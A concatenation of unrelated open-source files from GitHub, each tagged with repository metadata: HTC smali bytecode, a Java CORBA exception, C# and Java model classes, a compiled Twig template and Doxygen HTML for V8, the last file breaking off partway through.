invoke-static {}, Lcom/google/android/collect/Lists;->newArrayList()Ljava/util/ArrayList;
move-result-object v2
.line 122
.local v2, feedList:Ljava/util/List;,"Ljava/util/List<Lcom/htc/opensense/social/FeedOp;>;"
invoke-virtual {v1}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator;
move-result-object v3
.local v3, i$:Ljava/util/Iterator;
:goto_0
invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z
move-result v5
if-eqz v5, :cond_1
invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object;
move-result-object v0
check-cast v0, Landroid/os/Parcelable;
.line 123
.local v0, data:Landroid/os/Parcelable;
new-instance v5, Lcom/htc/opensense/social/FeedOp;
check-cast v0, Lcom/htc/opensense/social/data/Feed;
.end local v0 #data:Landroid/os/Parcelable;
invoke-direct {v5, v4, v0}, Lcom/htc/opensense/social/FeedOp;-><init>(Lcom/htc/opensense/social/ISocialService;Lcom/htc/opensense/social/data/Feed;)V
invoke-interface {v2, v5}, Ljava/util/List;->add(Ljava/lang/Object;)Z
goto :goto_0
.line 127
.end local v2 #feedList:Ljava/util/List;,"Ljava/util/List<Lcom/htc/opensense/social/FeedOp;>;"
.end local v3 #i$:Ljava/util/Iterator;
:cond_0
const/4 v2, 0x0
:cond_1
return-object v2
.end method
.method public static readOpFromIntent(Landroid/content/Intent;)Lcom/htc/opensense/social/FeedOp;
.locals 2
.parameter "intent"
.prologue
.line 156
const-string v0, "com.htc.opensense.DATAININTENT"
sget-object v1, Lcom/htc/opensense/social/FeedOp;->CREATOR:Lcom/htc/opensense/social/DataOp$OpCreator;
invoke-static {p0, v0, v1}, Lcom/htc/opensense/social/FeedOp;->readOpFromIntent(Landroid/content/Intent;Ljava/lang/String;Lcom/htc/opensense/social/DataOp$OpCreator;)Lcom/htc/opensense/social/DataOp;
move-result-object v0
check-cast v0, Lcom/htc/opensense/social/FeedOp;
return-object v0
.end method
.method public static readOpFromIntent(Landroid/content/Intent;Ljava/lang/String;)Lcom/htc/opensense/social/FeedOp;
.locals 1
.parameter "intent"
.parameter "extra"
.prologue
.line 138
sget-object v0, Lcom/htc/opensense/social/FeedOp;->CREATOR:Lcom/htc/opensense/social/DataOp$OpCreator;
invoke-static {p0, p1, v0}, Lcom/htc/opensense/social/DataOp;->readOpFromIntent(Landroid/content/Intent;Ljava/lang/String;Lcom/htc/opensense/social/DataOp$OpCreator;)Lcom/htc/opensense/social/DataOp;
move-result-object v0
check-cast v0, Lcom/htc/opensense/social/FeedOp;
return-object v0
.end method
.method public static readOpListFromIntent(Landroid/content/Intent;)Ljava/util/List;
.locals 2
.parameter "intent"
.annotation system Ldalvik/annotation/Signature;
value = {
"(",
"Landroid/content/Intent;",
")",
"Ljava/util/List",
"<",
"Lcom/htc/opensense/social/FeedOp;",
">;"
}
.end annotation
.prologue
.line 167
const-string v0, "com.htc.opensense.DATALISTINTENT"
sget-object v1, Lcom/htc/opensense/social/FeedOp;->CREATOR:Lcom/htc/opensense/social/DataOp$OpCreator;
invoke-static {p0, v0, v1}, Lcom/htc/opensense/social/FeedOp;->readOpListFromIntent(Landroid/content/Intent;Ljava/lang/String;Lcom/htc/opensense/social/DataOp$OpCreator;)Ljava/util/List;
move-result-object v0
return-object v0
.end method
.method public static readOpListFromIntent(Landroid/content/Intent;Ljava/lang/String;)Ljava/util/List;
.locals 1
.parameter "intent"
.parameter "extra"
.annotation system Ldalvik/annotation/Signature;
value = {
"(",
"Landroid/content/Intent;",
"Ljava/lang/String;",
")",
"Ljava/util/List",
"<",
"Lcom/htc/opensense/social/FeedOp;",
">;"
}
.end annotation
.prologue
.line 149
sget-object v0, Lcom/htc/opensense/social/FeedOp;->CREATOR:Lcom/htc/opensense/social/DataOp$OpCreator;
invoke-static {p0, p1, v0}, Lcom/htc/opensense/social/DataOp;->readOpListFromIntent(Landroid/content/Intent;Ljava/lang/String;Lcom/htc/opensense/social/DataOp$OpCreator;)Ljava/util/List;
move-result-object v0
return-object v0
.end method
# virtual methods
.method public addComment(Ljava/lang/String;)Z
.locals 9
.parameter "text"
.annotation system Ldalvik/annotation/Throws;
value = {
Lcom/htc/opensense/social/SocialNetworkError$SocialNetworkException;
}
.end annotation
.prologue
const/4 v6, 0x1
const/4 v5, 0x0
.line 227
invoke-static {p1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
move-result v7
if-eqz v7, :cond_0
.line 228
const-string v6, "FeedService"
const-string v7, "comment content is null or empty"
invoke-static {v6, v7}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
.line 249
:goto_0
return v5
.line 232
:cond_0
const/4 v3, 0x0
.line 233
.local v3, feed:Lcom/htc/opensense/social/data/Feed;
new-instance v2, Lcom/htc/opensense/social/RemoteError;
invoke-direct {v2}, Lcom/htc/opensense/social/RemoteError;-><init>()V
.line 234
.local v2, error:Lcom/htc/opensense/social/RemoteError;
new-instance v0, Landroid/os/Bundle;
invoke-direct {v0}, Landroid/os/Bundle;-><init>()V
.line 235
.local v0, bundle:Landroid/os/Bundle;
const/4 v4, 0x0
.line 236
.local v4, result:Z
const-string v7, "add feed type"
const/16 v8, 0x102
invoke-virtual {v0, v7, v8}, Landroid/os/Bundle;->putInt(Ljava/lang/String;I)V
.line 237
const-string v7, "add feed content"
invoke-virtual {v0, v7, p1}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
.line 240
:try_start_0
iget-object v7, p0, Lcom/htc/opensense/social/DataOp;->socialService:Lcom/htc/opensense/social/ISocialService;
iget-object v8, p0, Lcom/htc/opensense/social/FeedOp;->mFeed:Lcom/htc/opensense/social/data/Feed;
iget-object v8, v8, Lcom/htc/opensense/social/data/Feed;->id:Ljava/lang/String;
invoke-interface {v7, v8, v0, v2}, Lcom/htc/opensense/social/ISocialService;->addFeed(Ljava/lang/String;Landroid/os/Bundle;Lcom/htc/opensense/social/RemoteError;)Lcom/htc/opensense/social/data/Feed;
:try_end_0
.catch Landroid/os/RemoteException; {:try_start_0 .. :try_end_0} :catch_0
move-result-object v3
.line 246
:goto_1
if-nez v3, :cond_1
move v4, v5
.line 248
:goto_2
invoke-virtual {v2}, Lcom/htc/opensense/social/RemoteError;->toRemoteException()V
move v5, v4
.line 249
goto :goto_0
.line 241
:catch_0
move-exception v1
.line 242
.local v1, e:Landroid/os/RemoteException;
iput-boolean v6, v2, Lcom/htc/opensense/social/RemoteError;->failed:Z
.line 243
const-string v7, "FeedService"
const-string v8, "add feed error"
invoke-static {v7, v8, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
goto :goto_1
.end local v1 #e:Landroid/os/RemoteException;
:cond_1
move v4, v6
.line 246
goto :goto_2
.end method
.method public deleteComment(Ljava/lang/String;)V
.locals 5
.parameter "comment_id"
.annotation system Ldalvik/annotation/Throws;
value = {
Lcom/htc/opensense/social/SocialNetworkError$SocialNetworkException;
}
.end annotation
.prologue
.line 265
invoke-static {p1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
move-result v2
if-eqz v2, :cond_0
.line 266
const-string v2, "FeedService"
const-string v3, "comment id is null or empty"
invoke-static {v2, v3}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
.line 281
:goto_0
return-void
.line 270
:cond_0
new-instance v1, Lcom/htc/opensense/social/RemoteError;
invoke-direct {v1}, Lcom/htc/opensense/social/RemoteError;-><init>()V
.line 273
.local v1, error:Lcom/htc/opensense/social/RemoteError;
:try_start_0
iget-object v2, p0, Lcom/htc/opensense/social/DataOp;->socialService:Lcom/htc/opensense/social/ISocialService;
const-string v3, "remove comment"
const/4 v4, 0x0
invoke-interface {v2, v3, p1, v4, v1}, Lcom/htc/opensense/social/ISocialService;->deleteAttachment(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Lcom/htc/opensense/social/RemoteError;)V
:try_end_0
.catch Landroid/os/RemoteException; {:try_start_0 .. :try_end_0} :catch_0
.line 280
:goto_1
invoke-virtual {v1}, Lcom/htc/opensense/social/RemoteError;->toRemoteException()V
goto :goto_0
.line 275
:catch_0
move-exception v0
.line 276
.local v0, e:Landroid/os/RemoteException;
const/4 v2, 0x1
iput-boolean v2, v1, Lcom/htc/opensense/social/RemoteError;->failed:Z
.line 277
const-string v2, "FeedService"
const-string v3, "add feed error"
invoke-static {v2, v3, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
goto :goto_1
.end method
.method public getComments()Ljava/util/List;
.locals 6
.annotation system Ldalvik/annotation/Signature;
value = {
"()",
"Ljava/util/List",
"<",
"Lcom/htc/opensense/social/data/Comment;",
">;"
}
.end annotation
.annotation system Ldalvik/annotation/Throws;
value = {
Lcom/htc/opensense/social/SocialNetworkError$SocialNetworkException;
}
.end annotation
.prologue
.line 199
new-instance v2, Lcom/htc/opensense/social/RemoteError;
invoke-direct {v2}, Lcom/htc/opensense/social/RemoteError;-><init>()V
.line 200
.local v2, error:Lcom/htc/opensense/social/RemoteError;
const/4 v0, 0x0
.line 202
.local v0, attach:[Lcom/htc/opensense/social/data/Attachment;
:try_start_0
iget-object v3, p0, Lcom/htc/opensense/social/DataOp;->socialService:Lcom/htc/opensense/social/ISocialService;
iget-object v4, p0, Lcom/htc/opensense/social/FeedOp;->mFeed:Lcom/htc/opensense/social/data/Feed;
iget-object v4, v4, Lcom/htc/opensense/social/data/Feed;->id:Ljava/lang/String;
invoke-interface {v3, v4, v2}, Lcom/htc/opensense/social/ISocialService;->getFeedComments(Ljava/lang/String;Lcom/htc/opensense/social/RemoteError;)[Lcom/htc/opensense/social/data/Attachment;
move-result-object v0
.line 203
const-string v4, "FeedService"
new-instance v3, Ljava/lang/StringBuilder;
invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
const-string v5, "[getComments]attach count:"
invoke-virtual {v3, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v5
if-nez v0, :cond_0
const/4 v3, 0x0
:goto_0
invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
move-result-object v3
invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v3
invoke-static {v4, v3}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
:try_end_0
.catch Landroid/os/RemoteException; {:try_start_0 .. :try_end_0} :catch_0
.line 209
:goto_1
invoke-virtual {v2}, Lcom/htc/opensense/social/RemoteError;->toRemoteException()V
.line 211
iget-object v3, p0, Lcom/htc/opensense/social/DataOp;->socialService:Lcom/htc/opensense/social/ISocialService;
const-class v4, Lcom/htc/opensense/social/data/Comment;
invoke-static {v3, v0, v4}, Lcom/htc/opensense/social/FeedOp;->convertToAttachmentList(Lcom/htc/opensense/social/ISocialService;[Lcom/htc/opensense/social/data/Attachment;Ljava/lang/Class;)Ljava/util/List;
move-result-object v3
return-object v3
.line 203
:cond_0
:try_start_1
array-length v3, v0
:try_end_1
.catch Landroid/os/RemoteException; {:try_start_1 .. :try_end_1} :catch_0
goto :goto_0
.line 205
:catch_0
move-exception v1
.line 206
.local v1, e:Landroid/os/RemoteException;
const/4 v3, 0x1
iput-boolean v3, v2, Lcom/htc/opensense/social/RemoteError;->failed:Z
.line 207
const-string v3, "FeedService"
const-string v4, "get comment error"
invoke-static {v3, v4, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
goto :goto_1
.end method
.method public bridge synthetic getData()Landroid/os/Parcelable;
.locals 1
.prologue
.line 28
invoke-virtual {p0}, Lcom/htc/opensense/social/FeedOp;->getData()Lcom/htc/opensense/social/data/Feed;
move-result-object v0
return-object v0
.end method
.method public getData()Lcom/htc/opensense/social/data/Feed;
.locals 1
.prologue
.line 70
iget-object v0, p0, Lcom/htc/opensense/social/FeedOp;->mFeed:Lcom/htc/opensense/social/data/Feed;
return-object v0
.end method
.method public setLike(Ljava/lang/Boolean;)Z
.locals 7
.parameter "like"
.annotation system Ldalvik/annotation/Throws;
value = {
Lcom/htc/opensense/social/SocialNetworkError$SocialNetworkException;
}
.end annotation
.prologue
const/4 v4, 0x1
.line 179
new-instance v1, Lcom/htc/opensense/social/RemoteError;
invoke-direct {v1}, Lcom/htc/opensense/social/RemoteError;-><init>()V
.line 180
.local v1, error:Lcom/htc/opensense/social/RemoteError;
const/4 v3, 0x0
.line 181
.local v3, result:Z
if-nez p1, :cond_1
iget-object v5, p0, Lcom/htc/opensense/social/FeedOp;->mFeed:Lcom/htc/opensense/social/data/Feed;
iget-boolean v5, v5, Lcom/htc/opensense/social/data/Feed;->userLikes:Z
if-nez v5, :cond_0
move v2, v4
.line 183
.local v2, newLike:Z
:goto_0
:try_start_0
iget-object v5, p0, Lcom/htc/opensense/social/DataOp;->socialService:Lcom/htc/opensense/social/ISocialService;
iget-object v6, p0, Lcom/htc/opensense/social/FeedOp;->mFeed:Lcom/htc/opensense/social/data/Feed;
iget-object v6, v6, Lcom/htc/opensense/social/data/Feed;->id:Ljava/lang/String;
invoke-interface {v5, v6, v2, v1}, Lcom/htc/opensense/social/ISocialService;->setFeedLike(Ljava/lang/String;ZLcom/htc/opensense/social/RemoteError;)Z
:try_end_0
.catch Landroid/os/RemoteException; {:try_start_0 .. :try_end_0} :catch_0
move-result v3
.line 188
:goto_1
invoke-virtual {v1}, Lcom/htc/opensense/social/RemoteError;->toRemoteException()V
.line 189
return v3
.line 181
.end local v2 #newLike:Z
:cond_0
const/4 v2, 0x0
goto :goto_0
:cond_1
invoke-virtual {p1}, Ljava/lang/Boolean;->booleanValue()Z
move-result v2
goto :goto_0
.line 184
.restart local v2 #newLike:Z
:catch_0
move-exception v0
.line 185
.local v0, e:Landroid/os/RemoteException;
iput-boolean v4, v1, Lcom/htc/opensense/social/RemoteError;->failed:Z
.line 186
const-string v4, "FeedService"
const-string v5, "set like error"
invoke-static {v4, v5, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
goto :goto_1
.end method
| {'content_hash': '711827a747567f435fe49a279ece9d23', 'timestamp': '', 'source': 'github', 'line_count': 780, 'max_line_length': 209, 'avg_line_length': 27.653846153846153, 'alnum_prop': 0.6700973574408902, 'repo_name': 'baidurom/devices-onex', 'id': 'de34c1a0cc0a863f23bd3636a831b072050673b5', 'size': '21570', 'binary': False, 'copies': '1', 'ref': 'refs/heads/coron-4.0', 'path': 'HTCExtension.jar.out/smali/com/htc/opensense/social/FeedOp.smali', 'mode': '33188', 'license': 'apache-2.0', 'language': []} |
package org.omg.PortableServer.POAPackage;
/**
* org/omg/PortableServer/POAPackage/InvalidPolicy.java .
* Generated by the IDL-to-Java compiler (portable), version "3.2"
* from c:/re/workspace/8-2-build-windows-amd64-cygwin/jdk8u72/5732/corba/src/share/classes/org/omg/PortableServer/poa.idl
* Tuesday, December 22, 2015 7:17:38 PM PST
*/
public final class InvalidPolicy extends org.omg.CORBA.UserException
{
public short index = (short)0;
public InvalidPolicy ()
{
super(InvalidPolicyHelper.id());
} // ctor
public InvalidPolicy (short _index)
{
super(InvalidPolicyHelper.id());
index = _index;
} // ctor
public InvalidPolicy (String $reason, short _index)
{
super(InvalidPolicyHelper.id() + " " + $reason);
index = _index;
} // ctor
} // class InvalidPolicy
| {'content_hash': '036a0eee8209b52357cd41f651435002', 'timestamp': '', 'source': 'github', 'line_count': 33, 'max_line_length': 121, 'avg_line_length': 24.545454545454547, 'alnum_prop': 0.6987654320987654, 'repo_name': 'itgeeker/jdk', 'id': 'dc856bb5a93f867d915c175df84a039e3793df9d', 'size': '810', 'binary': False, 'copies': '1', 'ref': 'refs/heads/dev', 'path': 'src/org/omg/PortableServer/POAPackage/InvalidPolicy.java', 'mode': '33188', 'license': 'apache-2.0', 'language': [{'name': 'C', 'bytes': '189890'}, {'name': 'C++', 'bytes': '6565'}, {'name': 'Java', 'bytes': '85554389'}]} |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace SoundFix
{
static class Program
{
/// <summary>
/// The main entry point for the application.
/// </summary>
[STAThread]
static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new Form1());
}
}
}
| {'content_hash': 'e13bc47b081c842e49f713edecb884db', 'timestamp': '', 'source': 'github', 'line_count': 22, 'max_line_length': 65, 'avg_line_length': 23.045454545454547, 'alnum_prop': 0.6094674556213018, 'repo_name': 'SneakyTactician/Code_Base', 'id': '60f60003b603c12ab17b4ac1c3044ad0a2be5eb5', 'size': '509', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'SoundFix/Program.cs', 'mode': '33188', 'license': 'apache-2.0', 'language': [{'name': 'Assembly', 'bytes': '222'}, {'name': 'C', 'bytes': '28466'}, {'name': 'C#', 'bytes': '53394'}, {'name': 'C++', 'bytes': '275509'}, {'name': 'Visual Basic', 'bytes': '1188'}]} |
<?php
/* TwigBundle:Exception:traces_text.html.twig */
class __TwigTemplate_5370994ced2970ee63936cc0436fbfcd7d7b400cfa1c1d041f0124ab09f8bdd5 extends Twig_Template
{
public function __construct(Twig_Environment $env)
{
parent::__construct($env);
$this->parent = false;
$this->blocks = array(
);
}
protected function doDisplay(array $context, array $blocks = array())
{
// line 1
echo "<div class=\"block\">
<h2>
Stack Trace (Plain Text)
";
// line 4
ob_start();
// line 5
echo " <a href=\"#\" onclick=\"toggle('traces-text'); switchIcons('icon-traces-text-open', 'icon-traces-text-close'); return false;\">
<img class=\"toggle\" id=\"icon-traces-text-close\" alt=\"-\" src=\"data:image/gif;base64,R0lGODlhEgASAMQSANft94TG57Hb8GS44ez1+mC24IvK6ePx+Wa44dXs92+942e54o3L6W2844/M6dnu+P/+/l614P///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAABIALAAAAAASABIAQAVCoCQBTBOd6Kk4gJhGBCTPxysJb44K0qD/ER/wlxjmisZkMqBEBW5NHrMZmVKvv9hMVsO+hE0EoNAstEYGxG9heIhCADs=\" style=\"display: none\" />
<img class=\"toggle\" id=\"icon-traces-text-open\" alt=\"+\" src=\"data:image/gif;base64,R0lGODlhEgASAMQTANft99/v+Ga44bHb8ITG52S44dXs9+z1+uPx+YvK6WC24G+944/M6W28443L6dnu+Ge54v/+/l614P///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAABMALAAAAAASABIAQAVS4DQBTiOd6LkwgJgeUSzHSDoNaZ4PU6FLgYBA5/vFID/DbylRGiNIZu74I0h1hNsVxbNuUV4d9SsZM2EzWe1qThVzwWFOAFCQFa1RQq6DJB4iIQA7\" style=\"display: inline\" />
</a>
";
echo trim(preg_replace('/>\s+</', '><', ob_get_clean()));
// line 10
echo " </h2>
<div id=\"traces-text\" class=\"trace\" style=\"display: none;\">
<pre>";
// line 13
$context['_parent'] = (array) $context;
$context['_seq'] = twig_ensure_traversable($this->getAttribute((isset($context["exception"]) ? $context["exception"] : $this->getContext($context, "exception")), "toarray", array()));
foreach ($context['_seq'] as $context["i"] => $context["e"]) {
// line 14
echo "[";
echo twig_escape_filter($this->env, ($context["i"] + 1), "html", null, true);
echo "] ";
echo twig_escape_filter($this->env, $this->getAttribute($context["e"], "class", array()), "html", null, true);
echo ": ";
echo twig_escape_filter($this->env, $this->getAttribute($context["e"], "message", array()), "html", null, true);
echo "
";
// line 15
$this->env->loadTemplate("TwigBundle:Exception:traces.txt.twig")->display(array("exception" => $context["e"]));
}
$_parent = $context['_parent'];
unset($context['_seq'], $context['_iterated'], $context['i'], $context['e'], $context['_parent'], $context['loop']);
$context = array_intersect_key($context, $_parent) + $_parent;
// line 16
echo "</pre>
</div>
</div>
";
}
public function getTemplateName()
{
return "TwigBundle:Exception:traces_text.html.twig";
}
public function isTraitable()
{
return false;
}
public function getDebugInfo()
{
return array ( 57 => 16, 51 => 15, 42 => 14, 38 => 13, 33 => 10, 26 => 5, 24 => 4, 19 => 1,);
}
}
| {'content_hash': 'db66776558cd68e1c8a0c5b64628e05f', 'timestamp': '', 'source': 'github', 'line_count': 77, 'max_line_length': 416, 'avg_line_length': 43.506493506493506, 'alnum_prop': 0.6011940298507462, 'repo_name': 'ViorelP/testsymfony', 'id': '059683adb8827bd467548f33ea6b273c0c358620', 'size': '3350', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'app/cache/dev/twig/53/70/994ced2970ee63936cc0436fbfcd7d7b400cfa1c1d041f0124ab09f8bdd5.php', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'ApacheConf', 'bytes': '3297'}, {'name': 'CSS', 'bytes': '14403'}, {'name': 'HTML', 'bytes': '195746'}, {'name': 'JavaScript', 'bytes': '41952'}, {'name': 'PHP', 'bytes': '53524'}]} |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=9"/>
<meta name="generator" content="Doxygen 1.8.9.1"/>
<title>V8 API Reference Guide for node.js v0.10.46: Member List</title>
<link href="tabs.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="dynsections.js"></script>
<link href="search/search.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="search/searchdata.js"></script>
<script type="text/javascript" src="search/search.js"></script>
<script type="text/javascript">
$(document).ready(function() { init_search(); });
</script>
<link href="doxygen.css" rel="stylesheet" type="text/css" />
</head>
<body>
<div id="top"><!-- do not remove this div, it is closed by doxygen! -->
<div id="titlearea">
<table cellspacing="0" cellpadding="0">
<tbody>
<tr style="height: 56px;">
<td style="padding-left: 0.5em;">
<div id="projectname">V8 API Reference Guide for node.js v0.10.46
</div>
</td>
</tr>
</tbody>
</table>
</div>
<!-- end header part -->
<!-- Generated by Doxygen 1.8.9.1 -->
<script type="text/javascript">
var searchBox = new SearchBox("searchBox", "search",false,'Search');
</script>
<div id="navrow1" class="tabs">
<ul class="tablist">
<li><a href="index.html"><span>Main Page</span></a></li>
<li><a href="namespaces.html"><span>Namespaces</span></a></li>
<li class="current"><a href="annotated.html"><span>Classes</span></a></li>
<li><a href="files.html"><span>Files</span></a></li>
<li><a href="examples.html"><span>Examples</span></a></li>
<li>
<div id="MSearchBox" class="MSearchBoxInactive">
<span class="left">
<img id="MSearchSelect" src="search/mag_sel.png"
onmouseover="return searchBox.OnSearchSelectShow()"
onmouseout="return searchBox.OnSearchSelectHide()"
alt=""/>
<input type="text" id="MSearchField" value="Search" accesskey="S"
onfocus="searchBox.OnSearchFieldFocus(true)"
onblur="searchBox.OnSearchFieldFocus(false)"
onkeyup="searchBox.OnSearchFieldChange(event)"/>
</span><span class="right">
<a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a>
</span>
</div>
</li>
</ul>
</div>
<div id="navrow2" class="tabs2">
<ul class="tablist">
<li><a href="annotated.html"><span>Class List</span></a></li>
<li><a href="classes.html"><span>Class Index</span></a></li>
<li><a href="inherits.html"><span>Class Hierarchy</span></a></li>
<li><a href="functions.html"><span>Class Members</span></a></li>
</ul>
</div>
<!-- window showing the filter options -->
<div id="MSearchSelectWindow"
onmouseover="return searchBox.OnSearchSelectShow()"
onmouseout="return searchBox.OnSearchSelectHide()"
onkeydown="return searchBox.OnSearchSelectKey(event)">
</div>
<!-- iframe showing the search results (closed by default) -->
<div id="MSearchResultsWindow">
<iframe src="javascript:void(0)" frameborder="0"
name="MSearchResults" id="MSearchResults">
</iframe>
</div>
<div id="nav-path" class="navpath">
<ul>
<li class="navelem"><a class="el" href="namespacev8.html">v8</a></li><li class="navelem"><a class="el" href="classv8_1_1Debug.html">Debug</a></li><li class="navelem"><a class="el" href="classv8_1_1Debug_1_1EventDetails.html">EventDetails</a></li> </ul>
</div>
</div><!-- top -->
<div class="header">
<div class="headertitle">
<div class="title">v8::Debug::EventDetails Member List</div> </div>
</div><!--header-->
<div class="contents">
<p>This is the complete list of members for <a class="el" href="classv8_1_1Debug_1_1EventDetails.html">v8::Debug::EventDetails</a>, including all inherited members.</p>
<table class="directory">
<tr class="even"><td class="entry"><a class="el" href="classv8_1_1Debug_1_1EventDetails.html#a3c1eff8397db7c91e9c687f48d400665">GetCallbackData</a>() const =0</td><td class="entry"><a class="el" href="classv8_1_1Debug_1_1EventDetails.html">v8::Debug::EventDetails</a></td><td class="entry"><span class="mlabel">pure virtual</span></td></tr>
<tr><td class="entry"><a class="el" href="classv8_1_1Debug_1_1EventDetails.html#ae663e7607d27c3252049eea077a83e08">GetClientData</a>() const =0</td><td class="entry"><a class="el" href="classv8_1_1Debug_1_1EventDetails.html">v8::Debug::EventDetails</a></td><td class="entry"><span class="mlabel">pure virtual</span></td></tr>
<tr class="even"><td class="entry"><a class="el" href="classv8_1_1Debug_1_1EventDetails.html#ac871568e8cfd43bbf2cdac62add34ed0">GetEvent</a>() const =0</td><td class="entry"><a class="el" href="classv8_1_1Debug_1_1EventDetails.html">v8::Debug::EventDetails</a></td><td class="entry"><span class="mlabel">pure virtual</span></td></tr>
<tr><td class="entry"><a class="el" href="classv8_1_1Debug_1_1EventDetails.html#a2c98fc8b2848105c37fc60a04b35dfa5">GetEventContext</a>() const =0</td><td class="entry"><a class="el" href="classv8_1_1Debug_1_1EventDetails.html">v8::Debug::EventDetails</a></td><td class="entry"><span class="mlabel">pure virtual</span></td></tr>
<tr bgcolor="#f0f0f0" class="even"><td class="entry"><b>GetEventData</b>() const =0 (defined in <a class="el" href="classv8_1_1Debug_1_1EventDetails.html">v8::Debug::EventDetails</a>)</td><td class="entry"><a class="el" href="classv8_1_1Debug_1_1EventDetails.html">v8::Debug::EventDetails</a></td><td class="entry"><span class="mlabel">pure virtual</span></td></tr>
<tr><td class="entry"><a class="el" href="classv8_1_1Debug_1_1EventDetails.html#abf0997988e1e3f0780c0d3f19b4e3b8a">GetExecutionState</a>() const =0</td><td class="entry"><a class="el" href="classv8_1_1Debug_1_1EventDetails.html">v8::Debug::EventDetails</a></td><td class="entry"><span class="mlabel">pure virtual</span></td></tr>
<tr bgcolor="#f0f0f0" class="even"><td class="entry"><b>~EventDetails</b>() (defined in <a class="el" href="classv8_1_1Debug_1_1EventDetails.html">v8::Debug::EventDetails</a>)</td><td class="entry"><a class="el" href="classv8_1_1Debug_1_1EventDetails.html">v8::Debug::EventDetails</a></td><td class="entry"><span class="mlabel">inline</span><span class="mlabel">virtual</span></td></tr>
</table></div><!-- contents -->
<!-- start footer part -->
<hr class="footer"/><address class="footer"><small>
Generated by  <a href="http://www.doxygen.org/index.html">
<img class="footer" src="doxygen.png" alt="doxygen"/>
</a> 1.8.9.1
</small></address>
</body>
</html>
| {'content_hash': 'ed2014083a6c4294ab3a2e3cf156c7d9', 'timestamp': '', 'source': 'github', 'line_count': 113, 'max_line_length': 388, 'avg_line_length': 61.24778761061947, 'alnum_prop': 0.6692674469007369, 'repo_name': 'v8-dox/v8-dox.github.io', 'id': '3e780d41f342189e301d8074d1118884009a9e19', 'size': '6921', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'fcb9145/html/classv8_1_1Debug_1_1EventDetails-members.html', 'mode': '33188', 'license': 'mit', 'language': []} |
package com.iyzipay.model;
import com.iyzipay.HttpClient;
import com.iyzipay.Options;
import com.iyzipay.request.RetrieveCheckoutFormRequest;
public class CheckoutForm extends PaymentResource {
private String token;
private String callbackUrl;
public static CheckoutForm retrieve(RetrieveCheckoutFormRequest request, Options options) {
return HttpClient.create().post(options.getBaseUrl() + "/payment/iyzipos/checkoutform/auth/ecom/detail",
getHttpHeaders(request, options),
request,
CheckoutForm.class);
}
public String getToken() {
return token;
}
public void setToken(String token) {
this.token = token;
}
public String getCallbackUrl() {
return callbackUrl;
}
public void setCallbackUrl(String callbackUrl) {
this.callbackUrl = callbackUrl;
}
}
| {'content_hash': 'bd9c7ab8f1e22a9f6bc801c9f6c7c6ee', 'timestamp': '', 'source': 'github', 'line_count': 34, 'max_line_length': 112, 'avg_line_length': 26.264705882352942, 'alnum_prop': 0.6797312430011199, 'repo_name': 'mustafacantekir/iyzipay-java', 'id': 'e49533121132c9434efc5a09b765da512422ec58', 'size': '893', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'src/main/java/com/iyzipay/model/CheckoutForm.java', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'Batchfile', 'bytes': '5043'}, {'name': 'Java', 'bytes': '384186'}, {'name': 'Shell', 'bytes': '7112'}]} |
using System;
using System.Runtime.Serialization;
namespace Camunda.Api.Client.History
{
public class HistoricProcessInstance
{
/// <summary>
/// The id of the process instance.
/// </summary>
public string Id;
/// <summary>
/// The business key of the process instance.
/// </summary>
public string BusinessKey;
/// <summary>
/// The id of the process definition that this process instance belongs to.
/// </summary>
public string ProcessDefinitionId;
/// <summary>
/// The key of the process definition that this process instance belongs to.
/// </summary>
public string ProcessDefinitionKey;
/// <summary>
/// The name of the process definition that this process instance belongs to.
/// </summary>
public string ProcessDefinitionName;
/// <summary>
/// The time the instance was started.
/// </summary>
public DateTime StartTime;
/// <summary>
/// The time the instance ended.
/// </summary>
public DateTime EndTime;
/// <summary>
/// The time the instance took to finish (in milliseconds).
/// </summary>
public long DurationInMillis;
/// <summary>
